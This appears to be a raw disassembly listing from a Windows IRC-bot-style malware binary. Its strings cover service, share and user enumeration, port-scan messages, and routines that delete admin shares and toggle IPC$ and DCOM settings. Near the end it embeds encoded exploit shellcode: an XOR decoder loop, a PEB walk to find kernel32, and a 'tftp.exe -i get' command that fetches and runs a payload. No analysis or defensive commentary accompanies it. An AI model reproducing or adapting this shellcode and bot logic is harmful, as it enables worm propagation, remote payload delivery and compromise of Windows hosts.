dword_42FE68 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40FA8C+55o
dd 2029206Ch, 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_42FEA4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40FA8C+38o
dd 2029206Ch, 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40FBB5+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40FBB5:loc_40FCCDo
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40FBB5:loc_40FCC6o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_40FBB5:loc_40FCBFo
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_40FBB5:loc_40FCB8o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_40FBB5:loc_40FCB1o
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_40FBB5:loc_40FCAAo
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40FBB5:loc_40FCA3o
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_40FBB5:loc_40FC9Co
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_40FBB5:loc_40FC95o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_40FBB5:loc_40FC8Eo
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_40FBB5:loc_40FC63o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_40FBB5:loc_40FC5Co
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_40FBB5:loc_40FC55o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_40FBB5:loc_40FC4Eo
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40FBB5+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_40FBB5:loc_40FC23o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_40FBB5:loc_40FC19o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_40FBB5:loc_40FC0Fo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40FBB5:loc_40FC05o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_40FBB5:loc_40FBFBo
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40FBB5+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40FD33+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_40FD33:loc_40FDFFo
aStarting db ' Starting',0 ; DATA XREF: sub_40FD33:loc_40FDF8o
aStoping db ' Stoping',0 ; DATA XREF: sub_40FD33:loc_40FDF1o
aRunning_0 db ' Running',0 ; DATA XREF: sub_40FD33:loc_40FDEAo
aContinuing db ' Continuing',0 ; DATA XREF: sub_40FD33:loc_40FDE3o
aPausing db ' Pausing',0 ; DATA XREF: sub_40FD33:loc_40FDDCo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_40FD33:loc_40FDD5o
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_40FD33+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_40FD33+25o
align 4
dword_43040C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40FE70+ABo
dd 2029206Ch, 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_430444 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40FE70+89o
dd 2029206Ch, 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_430474 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40FE70+57o
dd 2029206Ch, 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_410065+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_410065+BCo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_410065+B5o
dword_4304D4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_410065+76o
dd 2029206Ch, 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_410065+26o
align 4
dword_430548 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_410186+B6o
dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
dword_430584 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_410186+94o
dd 2029206Ch, 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_4305C4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_410186+6Do
dd 2029206Ch, 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
dword_4305F8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4102CC+394o
dd 2029206Ch, 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 10h
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4102CC+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4102CC+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4102CC+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4102CC+2ECo
align 10h
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4102CC+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4102CC+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4102CC+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4102CC+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4102CC+21Eo
align 10h
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4102CC+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4102CC+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4102CC+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4102CC+178o
align 10h
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4102CC+14Do
align 10h
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4102CC+125o
aGuest db 'Guest',0 ; DATA XREF: sub_4102CC:loc_4103E5o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_4102CC:loc_4103DEo
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4102CC+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4102CC+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4102CC+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_4102CC+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41069A+14Fo
align 4
dword_4307B8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41069A+F7o
dd 2029206Ch, 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 4
aS_5 db ' %S',0 ; DATA XREF: sub_41069A+BEo
align 10h
dword_430800 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41069A+7Ao
dd 2029206Ch, 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41069A+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41081A:loc_410937o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41081A:loc_410930o
align 10h
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41081A:loc_410929o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41081A:loc_410922o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41081A:loc_41091Bo
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41081A:loc_4108FEo
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41081A:loc_4108F7o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41081A:loc_4108F0o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41081A+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41081A:loc_4108C5o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41081A:loc_4108BEo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41081A:loc_4108B7o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41081A:loc_4108ADo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41081A+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41081A:loc_410887o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41081A:loc_41087Do
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41081A:loc_410873o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41081A:loc_410869o
align 10h
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41081A:loc_41085Fo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41081A+3Bo
align 4
dword_430B1C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41094E+ABo
dd 2029206Ch, 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_430B58 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41094E+81o
dd 2029206Ch, 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_410A77+120o
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_410A77+5Ao
; sub_410A77+19Eo
align 4
dword_430BB4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_410C28:loc_410CAFo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai db ' Process list failed.',0
align 4
dword_430BEC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_410C28:loc_410CA8o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom db ' Process list completed.',0
align 4
dword_430C28 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_410C28+19o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
dd 72702067h, 7365636Fh, 3A736573h, 0
aConst db 'const',0
align 4
dd 0
dword_430C6C dd 1 off_430C70 dd offset sub_410D6D ; DATA XREF: sub_4110D8+49r
aLetter db 'letter',0
align 10h
dd 2, 410DCBh, 706D6F63h, 2 dup(0)
dd 3, 410E18h, 6E756F63h, 797274h, 0
dd 4, 410EB6h, 736Fh, 2 dup(0)
dd 5, 410F2Bh
dword_430CC4 dd 69257325h, 0 ; .nsp0:00410E97o ...
byte_430CCC db 50h ; DATA XREF: .nsp0:00410E3Ao
; .nsp0:00410E47r
db 43h, 2 dup(0)
dword_430CD0 dd 7C7325h ; sub_4110D8+39o
dword_430CD4 dd 5D73255Bh, 7Chdword_430CDC dd 334B32h dword_430CE0 dd 5D64255Bh, 7325hdword_430CE8 dd 5D4D5Bh ; sub_411035+57o
unk_430CEC db 2 ; DATA XREF: sub_411141+92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
unk_430D28 db 2 ; DATA XREF: sub_41120E+41o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 4
off_430D68 dd offset dword_430DA0 ; DATA XREF: sub_41135F+1B3o
; .nsp0:004117FDo
align 10h
dd offset dword_430D98
align 8
off_430D78 dd offset dword_430D94 ; DATA XREF: .nsp0:00411866o
dd offset dword_430D90
dd offset dword_430D8C
dd offset dword_430D88
dword_430D88 dd 5C3A44h ; .nsp0:00430D84o
dword_430D8C dd 2444h dword_430D90 dd 5C3A43h dword_430D94 dd 2443h dword_430D98 dd 494D4441h, 244Ehdword_430DA0 dd 24435049h, 0 unk_430DA8 db 2 ; DATA XREF: sub_41135F+2E5o
; .nsp0:0041195Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_430DEC db 2 ; DATA XREF: sub_41135F+2CFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_430E28 db 2 ; DATA XREF: sub_41135F:loc_4115C1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_430E68 db 2 ; DATA XREF: sub_41135F+25Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 10h
unk_430EA0 db 2 ; DATA XREF: sub_41135F:loc_41152Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 10h
unk_430EE0 db 2 ; DATA XREF: sub_41135F+1C8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_430F18 db 2 ; DATA XREF: sub_41135F:loc_411491o
; .nsp0:loc_4117B1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_430F5C db 2 ; DATA XREF: sub_41135F:loc_41148Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_430FAC db 2 ; DATA XREF: sub_41135F:loc_41146Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_430FF4 db 2 ; DATA XREF: sub_41135F+106o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41135F+EDo
; .nsp0:00411770o
align 4
unk_431058 db 2 ; DATA XREF: sub_41135F+91o
; .nsp0:00411714o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_43109C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_41135F:loc_4113CCo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh
dd 6C626173h, 2E6465h
unk_4310CC db 2 ; DATA XREF: sub_41135F+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41135F+54o
; .nsp0:004116D7o
align 10h
word_431110 dw 4Eh ; DATA XREF: sub_41135F+38r
align 4
unk_431114 db 2 ; DATA XREF: .nsp0:00411943o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_0 db '%c:\',0 ; DATA XREF: .nsp0:004118ADo
align 4
aC_1 db '%c$',0 ; DATA XREF: .nsp0:0041189Co
unk_431158 db 2 ; DATA XREF: .nsp0:loc_411822o
; .nsp0:loc_4118F0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_431194 db 2 ; DATA XREF: .nsp0:0041181Bo
; .nsp0:004118E9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 4
unk_4311C8 db 2 ; DATA XREF: .nsp0:loc_4117AAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
unk_431218 db 2 ; DATA XREF: .nsp0:loc_41178Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_431260 db 2 ; DATA XREF: .nsp0:00411785o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_4312B0 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: .nsp0:loc_4116F0o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh
dd 656C6261h, 2E64h
unk_4312E0 db 2 ; DATA XREF: .nsp0:004116E9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_431318 dw 59h ; DATA XREF: .nsp0:004116BBr
align 4
jmp short loc_431320
; ---------------------------------------------------------------------------
loc_43131E: ; CODE XREF: .nsp0:loc_431320p
jmp short loc_431325
; ---------------------------------------------------------------------------
loc_431320: ; CODE XREF: .nsp0:0043131Cj
call loc_43131E
loc_431325: ; CODE XREF: .nsp0:loc_43131Ej
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_43132C: ; CODE XREF: .nsp0:00431331j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_43132C
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_431342: ; CODE XREF: .nsp0:00431347j
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_431342
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_4313E4
jnz short loc_4313D0
retn
; ---------------------------------------------------------------------------
loc_4313D0: ; CODE XREF: .nsp0:004313CDj
; .nsp0:004313DDj
call loc_4313D6
; ---------------------------------------------------------------------------
align 2
loc_4313D6: ; CODE XREF: .nsp0:loc_4313D0j
push 0
call sub_4313E4
jz loc_4313D0
retn
; =============== S U B R O U T I N E =======================================
sub_4313E4 proc near ; CODE XREF: .nsp0:004313C8p
; .nsp0:004313D8p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_4313E4 endp
; ---------------------------------------------------------------------------
align 10h
aThreadList db '-[Thread List]-',0
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_411C28+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_411C28+35o
dword_431460 dd 1 align 10h
dword_431470 dd 173Fh dd 9875h, 9873h
off_43147C dd offset sub_412911 ; DATA XREF: sub_413FAAr
dd offset nullsub_2
dd offset nullsub_2
dword_431488 dd 1B3Fh dword_43148C dd 19930520h, 4 dup(0) ; sub_412E16+2o
off_4314A0 dd offset sub_413FE8 ; DATA XREF: sub_4144BE+1Cr
dword_4314A4 dd 2 ; sub_419639+46r ...
off_4314A8 dd offset aNull_0 ; DATA XREF: sub_41461C:loc_414980r
; sub_41461C+457r
; "(null)"
off_4314AC dd offset aNull ; DATA XREF: sub_41461C+259r
; "(null)"
off_4314B0 dd offset word_4314BA ; DATA XREF: sub_4123D4+23r
; sub_4123D4:loc_412435r ...
dd offset word_4314BA
db 2 dup(0)
word_4314BA dw 20h ; DATA XREF: sub_41AF8D+18r
; .nsp0:off_4314B0o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4316BC dd 1 ; sub_4123D4:loc_412420r ...
byte_4316C0 db 2Eh ; DATA XREF: sub_4167E8:loc_416828r
; .nsp0:00416846r ...
align 4
dd 1, 10h
dword_4316CC dd 3F8h ; sub_413D8F+4Dr ...
dword_4316D0 dd 14h off_4316D4 dd offset aExp ; DATA XREF: sub_416531:loc_41654Er
; "exp"
dd 1Dh, 41D79Ch, 1Ah, 41D798h, 1Bh, 41D790h, 1Fh, 41D788h
dd 13h, 41D780h, 21h, 41D778h, 0Eh, 41D770h, 0Dh, 41D768h
dd 0Fh, 41D760h, 10h, 41D758h, 5, 41D750h, 1Eh, 41D74Ch
dd 12h, 41D748h, 20h, 41D744h, 0Ch, 41D73Ch, 0Bh, 41D734h
dd 15h, 41D72Ch, 1Ch, 41D724h, 19h, 41D71Ch, 11h, 41D714h
dd 18h, 41D70Ch, 16h, 41D704h, 17h, 41D6FCh, 22h, 41D6F8h
dd 23h, 41D6F4h, 24h, 41D6F0h
dbl_4317A8 dq 1.797693134862316e308 ; DATA XREF: sub_41626C+B7r
; sub_41626C:loc_416353r ...
dd 0
dd 0FFF80000h
dbl_4317B8 dq 1.797693134862316e308 ; DATA XREF: sub_41626C+92r
; sub_41626C:loc_41632Br ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_4317D0 dt 2.3562723457267347066e313 ; DATA XREF: sub_416719+Dr
; sub_416719+1Fr
align 4
tbyte_4317DC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_416719+31r
align 4
off_4317E8 dd offset sub_41A7C6 ; DATA XREF: sub_412929+Fw
; sub_41461C+3AAr
off_4317EC dd offset sub_41A7C6 ; DATA XREF: sub_412929+5w
; sub_41461C+3E2r
off_4317F0 dd offset sub_41A7C6 ; DATA XREF: sub_412929+14w
